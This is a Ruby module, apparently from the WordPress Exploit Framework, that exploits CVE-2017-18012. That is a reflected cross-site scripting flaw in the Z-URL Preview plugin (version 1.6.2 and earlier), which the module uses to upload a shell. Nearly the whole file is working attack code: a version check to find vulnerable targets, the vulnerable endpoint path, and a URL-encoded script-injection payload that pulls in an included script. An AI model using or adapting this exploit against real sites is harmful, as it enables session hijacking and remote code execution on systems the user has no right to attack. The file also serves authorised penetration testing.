# frozen_string_literal: true

class Wpxf::Exploit::ZurlPreviewReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Z-URL Preview <= 1.6.2 Reflected XSS Shell Upload',
      author: [
        'Ricardo Sanchez', # Dislosure
        'rastating'        # WPXF module
      ],
      references: [
        ['CVE', '2017-18012'],
        ['WPVDB', '8990']
      ],
      date: 'Dec 05 2017'
    )
  end

  def check
    check_plugin_version_from_readme('z-url-preview', '1.6.3')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_plugins, 'z-url-preview', 'class.zlinkpreview.php')
  end

  def xss_payload
    url_encode("</script>\"><script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{vulnerable_url}?url=#{xss_payload}"
  end
end
